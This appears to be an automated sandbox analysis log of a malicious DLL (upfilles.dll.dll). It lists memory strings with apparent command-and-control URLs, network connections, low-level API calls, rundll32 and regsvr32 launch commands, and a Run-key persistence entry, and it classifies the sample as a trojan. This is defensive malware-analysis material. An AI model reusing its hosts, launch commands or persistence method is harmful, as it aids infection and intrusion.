Source: rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php1j
Source: rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php4
Source: rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.phpP
Source: rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/f
Source: rundll32.exe, 00000012.00000003.2680109233.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000016.00000000.1859052974.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2945734291.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000016.00000002.2945734291.000000000C54A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://workspacin.cloud/
Source: explorer.exe, 00000016.00000002.2947027390.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://workspacin.cloud/live/
Source: explorer.exe, 00000016.00000002.2943554599.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://workspacin.cloud/live/0vaH
Source: explorer.exe, 00000016.00000002.2947027390.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://workspacin.cloud/live/6
Source: explorer.exe, 00000016.00000002.2947027390.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://workspacin.cloud/live/J5
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 91.194.11.183:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.124.183.215:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.175.181.104:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.164.68.73:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.69.236.35:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.155:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.69.236.35:443 -> 192.168.2.4:49784 version: TLS 1.2

Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800012B0 NtConnectPort,NtRequestWaitReplyPort,NtRequestPort,	6_2_00000001800012B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180001490 NtCreateSection,LocalAlloc,LocalAlloc,NtConnectPort,NtRequestWaitReplyPort,	6_2_0000000180001490
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180001650 RtlInitUnicodeString,NtClose,NtClose,RtlNtStatusToDosError,SetLastError,LocalFree,LocalFree,LocalFree,LocalFree,	6_2_0000000180001650
Source: C:\Windows\System32\rundll32.exe	Code function: 18_3_000002921300D31C NtProtectVirtualMemory,	18_3_000002921300D31C
Source: C:\Windows\System32\rundll32.exe	Code function: 18_3_000002921300D2AC NtAllocateVirtualMemory,	18_3_000002921300D2AC
Source: C:\Windows\explorer.exe	Code function: 22_2_013A6814 NtFreeVirtualMemory,	22_2_013A6814
Source: C:\Windows\explorer.exe	Code function: 22_2_013A958C NtAllocateVirtualMemory,	22_2_013A958C
Source: C:\Windows\explorer.exe	Code function: 22_2_013AA5CC NtDelayExecution,	22_2_013AA5CC
Source: C:\Windows\explorer.exe	Code function: 22_2_013A6728 NtWriteFile,	22_2_013A6728
Source: C:\Windows\explorer.exe	Code function: 22_2_013A6618 RtlInitUnicodeString,NtCreateFile,	22_2_013A6618
Source: C:\Windows\explorer.exe	Code function: 22_2_013A650C RtlInitUnicodeString,NtCreateFile,NtClose,	22_2_013A650C
Source: C:\Windows\explorer.exe	Code function: 22_2_013A6464 RtlInitUnicodeString,NtOpenFile,NtClose,	22_2_013A6464
Source: C:\Windows\explorer.exe	Code function: 22_2_013A67A0 NtClose,	22_2_013A67A0

Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001C030	6_2_000000018001C030
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000A040	6_2_000000018000A040
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800190AC	6_2_00000001800190AC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180001950	6_2_0000000180001950
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000B992	6_2_000000018000B992
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800131E0	6_2_00000001800131E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000E200	6_2_000000018000E200
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000B210	6_2_000000018000B210
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800192B8	6_2_00000001800192B8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180020B88	6_2_0000000180020B88
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180004C00	6_2_0000000180004C00
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180013448	6_2_0000000180013448
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001C45C	6_2_000000018001C45C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000C480	6_2_000000018000C480
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001EC90	6_2_000000018001EC90
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800154A0	6_2_00000001800154A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180023584	6_2_0000000180023584
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800176FC	6_2_00000001800176FC
Source: C:\Windows\System32\rundll32.exe	Code function: 18_2_00000292116E254C	18_2_00000292116E254C
Source: C:\Windows\System32\rundll32.exe	Code function: 18_2_000000026E7DFB4C	18_2_000000026E7DFB4C
Source: C:\Windows\explorer.exe	Code function: 22_2_013A1030	22_2_013A1030

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6324 -s 344

Source: upfilles.dll.dll

Binary or memory string: OriginalFilenameeppcom64.dllZ vs upfilles.dll.dll

Source: classification engine

Classification label: mal100.troj.evad.winDLL@32/17@8/6

Source: C:\Windows\System32\rundll32.exe

Code function: 18_3_00007DF4F0240000 CreateToolhelp32Snapshot,Process32First,Process32Next,

18_3_00007DF4F0240000

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018000AEB0 CoCreateInstance,

6_2_000000018000AEB0

Source: C:\Windows\System32\rundll32.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7272
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7288
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6636:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6324
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6516

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\ba1d38a4-2e70-4cdd-8ce4-6f972928d4e8

Jump to behavior

Source: upfilles.dll.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1

Source: upfilles.dll.dll

ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\upfilles.dll.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /i /s C:\Users\user\Desktop\upfilles.dll.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllCanUnloadNow
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllGetClassObject
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6324 -s 344
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllInstall
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6516 -s 344
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllCanUnloadNow
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllGetClassObject
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllInstall
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllUnregisterServer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",stow
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7272 -s 344
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7288 -s 344
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /i /s C:\Users\user\Desktop\upfilles.dll.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllCanUnloadNow	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllGetClassObject	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllInstall	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllCanUnloadNow	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllGetClassObject	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllInstall	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllUnregisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",stow	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: upfilles.dll.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: upfilles.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: upfilles.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: upfilles.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: upfilles.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: upfilles.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: upfilles.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: upfilles.dll.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: upfilles.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: upfilles.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: upfilles.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: upfilles.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: upfilles.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: upfilles.dll.dll

Static PE information: real checksum: 0x491bb should be: 0x85fc5

Source: upfilles.dll.dll

Static PE information: section name: hVr

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /i /s C:\Users\user\Desktop\upfilles.dll.dll

Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180006138 push E8000020h; iretd	6_2_000000018000613D
Source: C:\Windows\System32\rundll32.exe	Code function: 18_2_00000292116A5BB0 push r15; ret	18_2_00000292116A5BB5
Source: C:\Windows\System32\rundll32.exe	Code function: 18_2_000000026E7A31B0 push r15; ret	18_2_000000026E7A31B5

Source: C:\Windows\System32\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update			Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180023584 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_0000000180023584

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
